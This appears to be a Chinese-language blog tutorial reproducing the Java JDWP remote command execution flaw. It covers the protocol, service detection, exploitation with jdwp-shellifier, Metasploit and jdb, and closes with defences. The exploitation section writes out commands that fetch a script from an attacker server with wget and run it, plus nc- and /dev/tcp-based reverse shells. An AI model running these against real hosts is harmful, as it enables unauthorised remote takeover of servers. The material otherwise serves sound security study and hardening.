java安全-Jdwp命令执行漏洞复现与分析
一、漏洞简介
jdwp结简介
JDWP 是全球 Java 调试系统的组件之一,称为Java 平台调试架构(JPDA)。下面是整体架构图:
Debuggee 由一个运行我们的目标应用程序的多线程 JVM 组成。为了能够远程调试,JVM 实例必须使用在命令行上传递的选项 -Xdebug 以及选项 -Xrunjdwp(或 -agentlib)显式启动。例如,启动启用了远程调试的 Tomcat 服务器如下所示:
如体系结构图中所示,Java Debug Wire Protocol 是 Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:
- 它是一种基于数据包的网络二进制协议。
- 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。但是,某些命令(如事件)不需要同步响应。当满足特定条件时,他们将发送回复。例如,断点是一个事件。
- 它不使用身份验证。
- 它不使用加密。
JPDA
在 JPDA 体系中,作为前端(front-end)的调试者(debugger)进程和后端(back-end)的被调试程序(debuggee)进程之间的交互数据的格式就是由 JDWP 来描述的,它详细完整地定义了请求命令、回应数据和错误代码,保证了前端和后端的 JVMTI 和 JDI 的通信通畅。比如在 Sun 公司提供的实现中,它提供了一个名为 jdwp.dll(jdwp.so)的动态链接库文件,这个动态库文件实现了一个 Agent,它会负责解析前端发出的请求或者命令,并将其转化为 JVMTI 调用,然后将 JVMTI 函数的返回值封装成 JDWP 数据发还给后端。
整体分为三层:
- JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数-Xdebug以及参数-Xrunjdwp(或-agentlib)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务;
- JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
- JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;
JVM TI -Java VM Tool Interface
Defines the debugging services a VM provides.
JDWP - Java Debug Wire Protocol
Defines the communication between debuggee and debugger processes.
JDI - Java Debug Interface
Defines a high-level Java language interface which tool developers can easily use to write remote debugger applications.
Debugger 和 JVM 实例之间的中心链接。关于协议的观察包括:
- 它是一种基于数据包的网络二进制协议。
- 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。但是,某些命令(如事件)不需要同步响应。当满足特定条件时,他们将发送回复。例如,断点是一个事件。
- 它不使用身份验证。
- 它不使用加密。
JDWP
JDWP是一个基于二进制包的网络协议。
JDWP大致分为两个阶段:握手(handshake)和沟通。
JDWP(Java Debugger Wire Protocol)即Java调试线协议,是一个为Java调试而设计的通讯交互协议。在JPDA(Java Platform Debugger Architecture)中,它定义了调试器(Debugger)和被调试的JVM(Debuggee)之间的通信协议。
具体JDWP协议可参考官方文档:https://docs.oracle.com/en/java/javase/11/docs/specs/jdwp/jdwp-protocol.html
协议分析
握手
JDWP 规定[9] 必须通过简单的握手来启动通信。TCP 连接成功后,调试器(客户端)发送 14 个字符的 ASCII 字符串“JDWP-Handshake”。
沟通
JDWP 定义了 Debugger 和 Debuggee 之间通信所涉及的消息[10]。
消息遵循一个简单的结构,定义如下:
其中Flags这个字段主要用于区分发送的数据包是哪种类型,0x00代表命令包,0x80代表回复包。
二、漏洞原理:
原理
JDWP(Java Debug Wire Protocol)是Java平台调试体系结构的一部分,它允许调试器通过网络连接到正在运行的Java虚拟机(JVM)上,并执行诊断和调试操作。JDWP协议使用基于TCP的网络通信,并采用二进制格式进行数据传输。
JDWP漏洞是指攻击者可以通过网络连接到正在运行的Java虚拟机(JVM)上,并利用JDWP协议中存在的安全漏洞执行恶意代码或获取敏感信息的漏洞。
JDWP漏洞的原理通常是由于JVM在默认配置下启用了JDWP,并将JDWP端口暴露在网络上,攻击者可以利用这个开放的端口进行攻击。攻击者可以通过JDWP协议向JVM发送指令,从而控制JVM并执行恶意代码。攻击者还可以利用JDWP协议中的命令获取JVM中的敏感信息,例如类名、方法名、变量名等。
为了避免JDWP漏洞,建议禁用JDWP或在JVM配置中限制JDWP端口只能本地访问。另外,也建议在网络环境中使用防火墙等安全措施,限制外部网络对JVM端口的访问。
调试过程
- VirtualMachine/IDSizes是JVM处理的数据结构的大小,不同的机器值可能不同,由于nmap的jdwp-exec.nse脚本使用了硬编码,所以脚本执行不成功。
- ClassType/InvokeMethod用于调用一个静态方法
- ObjectReference/InvokeMethod用于在JVM中调用一个实例化对象的方法
- Event/Composite会强制JVM对命令声明的特定行为做出回应。该命令是调试的关键,设置断点、通过线程单步调试,提供访问/修改值时的通知。
脚本jdwp-shellifier的运行过程梳理如下:
- 与Target VM 握手,建立连接
- 向JVM发出请求获取IDSizes
- 向JVM发出请求获取JVM的版本信息
- 向JVM发出请求获取所有的类信息,其中包含有referenceTypeID
- 从得到的类信息中提取出java.lang.Runtime类的referenceTypeID
- 由于Runtime类只能通过getRuntime方法获取,因此还需要向服务器请求获取方法信息
- 从得到的方法信息中提取出getRuntime方法的referenceTypeID
- 给需要指定的方法添加断点,默认是java.net.ServerSocket.accept,因为在windows平台下进行jdwp调试只能使用socket类型,且该函数调用比较频繁。
- 当断点触发时,我们就可以得到被调试方法所运行的线程ID
- 清除断点并恢复线程运行
- 创建执行命令的字符串对象,并通过回复包获取该对象ID:
- 调用方法命令调用静态方法getRuntime并获取对应的对象ID:
- 上次请求过方法信息,从之前请求的方法信息中可获取到exec方法的referenceTypeID
- 通过对象的方法调用命令调用exec函数就可以执行命令了:
三、环境搭建:
1、Centos安装tomcat
Tomcat官网下载https://tomcat.apache.org/download-70.cgi,Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版。
解压安装
tar -zxvf apache-tomcat-7.0.108.tar.gz
mkdir /opt/tomcat
mv apache-tomcat-7.0.108 /opt/tomcat/
修改配置文件
启动环境
FOFA语法
|
四、服务探测
有三种常用方式来进行JDWP服务探测,原理都是一样的,即向目标端口连接后发送JDWP-Handshake,如果目标服务直接返回一样的内容则说明是JDWP服务。
Nmap
使用Nmap进行端口扫描:
扫描会识别到JDWP服务,且有对应的JDK版本信息:
Telnet
使用Telnet命令探测,需要马上输入JDWP-Handshake,然后服务端返回一样的内容,证明是JDWP服务:
python脚本探测
import socket
client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")
if client.recv(1024) == b"JDWP-Handshake":
print("[*]JDWP Service!")
client.close()
漏洞发现过程
nmap是端口扫描的利器,支持批量扫描网段内端口打开的情况。通过nmap的扫描可以找到端口和对应的协议,这样就可以扫描到打开了远程debug的端口的机器。
端口明明开了,却没有扫描到?
nmap默认只扫描每个协议常见的1000个端口,如果你的端口不在里面,默认就不会扫描。
端口使用的频率存储在nmap-services文件中:
➜ jdwp-shellifier (master|✔) locate nmap-services
/usr/local/Cellar/nmap/7.70/share/nmap/nmap-services
可以直接查看这个文件, 也可以使用下面的命令查看对应的频率:
➜ jdwp-shellifier (master|✔) sudo nmap -v -oG - -sSU
Password:
# Nmap 7.70 scan initiated Fri Aug 10 13:46:47 2018 as: nmap -v -oG - -sSU
# Ports scanned: TCP(1000;1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521...省略
解决方案:
nmap中可以通过-p指定扫描的端口范围:
上面是dev机器上开启的端口, Java Debug Wire Protocol (Reference Implementation)就是开启了JDWP的机器。
二次确认
telnet端口后输入命令JDWP-Handshake
如果返回JDWP-Handshake,证明存在漏洞。
可以用下面的命令测试:
➜ jdwp-shellifier (master|✔) { echo "JDWP-Handshake"; sleep 20 } | telnet 221.221.221.221 10010
Trying 221.221.221.221...
Connected to izbp16k6k2yv9vvh6c3v65zi.
Escape character is '^]'.
JDWP-Handshake
或者使用nc
➜ jdwp-shellifier (master|✔) { echo "JDWP-Handshake"; sleep 1 | trap exit INT} | nc 221.221.221.221 10010
JDWP-Handshake
五、漏洞复现
1、jdwp-shellifier
直接用GitHub上已有的工具:https://github.com/IOActive/jdwp-shellifier
(1)工具下载地址:https://github.com/IOActive/jdwp-shellifier
(2)该漏洞无回显,可利用dnslog进行探测
python2 jdwp-shellifier.py -t 192.168.3.118 -p 8787 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn"
反弹shell
下面内容均在攻击机上操作:
(1)准备反弹shell文件,保存为shell.txt
nc x.x.x.x 3333 | /bin/bash | nc x.x.x.x 4444%
(2)进入到有shell文件的目录下,终端开启简单http协议,使得靶机可以下载shell文件
python3 -m http.server 8000
(3)开启监听,需要开启2个监听,前面一个输入执行命令,后面一个输出命令执行结果
python2 jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "wget http://x.x.x.x
:8000/shell.txt -O /tmp/shell.sh"
python2 jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
python2 jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "/tmp/shell.sh"
反弹没有成功,怀疑目标机器里面没有nc。然后使用sh进行反弹
sh -i >& /dev/tcp/x.x.xx/3333 0>&1 | /bin/sh | sh -i >& /dev/tcp/x.x.x.x/4444 0>&1%
成功反弹shell。
另一种方式:
安装一个ncat,然后启动一个ncat的程序, 然后就可以远程连接上这个ncat开启的端口,相当于有一个root权限的shell了。
ncat在服务器上开启一个端口, 转发输入交给bash去执行。
开启转发服务:
服务器上端口已经开启:
成功获取shell。
2、msf
在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用。
原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。
use exploit/multi/misc/java_jdwp_debugger
set rhosts x.x.x.x
set payload linux/x64/shell/bind_tcp
run
3、jdb
jdb是JDK中自带的命令行调试工具。
这里是按照msf中的方式搞:
- attach到远程JDWP服务;
- threads命令查看所有线程,查找sleeping的线程;
- thread sleeping的线程id,然后stepi进入该线程;
- 通过print|dump|eval命令,执行Java表达式从而达成命令执行;
这里本地-attach参数连接会出差,换为下面的方式:
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000
执行命令:
eval java.lang.Runtime.getRuntime().exec("calc")
六、防御方式:
- 关闭JDWP服务,或限制JDWP服务不对外开放;
- 关闭Java Debug模式;
远程调试的建议
1、线上不能开启debug,对服务器性能有影响。
2、关闭对外远程debug的端口
sudo lsof -i:<port>
查找到对应的进程, 然后修改配置,重启tomcat
3、远程debug步骤:
- tomcat 开启调试:
export CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=127.0.0.1:8399"
4.注意必须绑定到127.0.0.1
5.安装socat
sudo yum install -y socat
服务器安装socat进行转发:
socat TCP4-LISTEN:5005forkrange=0.0.0.0/32 TCP4:127.0.0.1:8399 | hostname -i
6.其中0.0.0.0/32表示放开ip限制(不是内网没有办法限制出口ip), 命令不要在后台执行,否则跟开启了对外的远程debug没有区别
7.idea中新建Remote配置,host写上面输出的公网的ip, 端口写5005
REF:
- 点赞
- 收藏
- 关注作者
评论(0)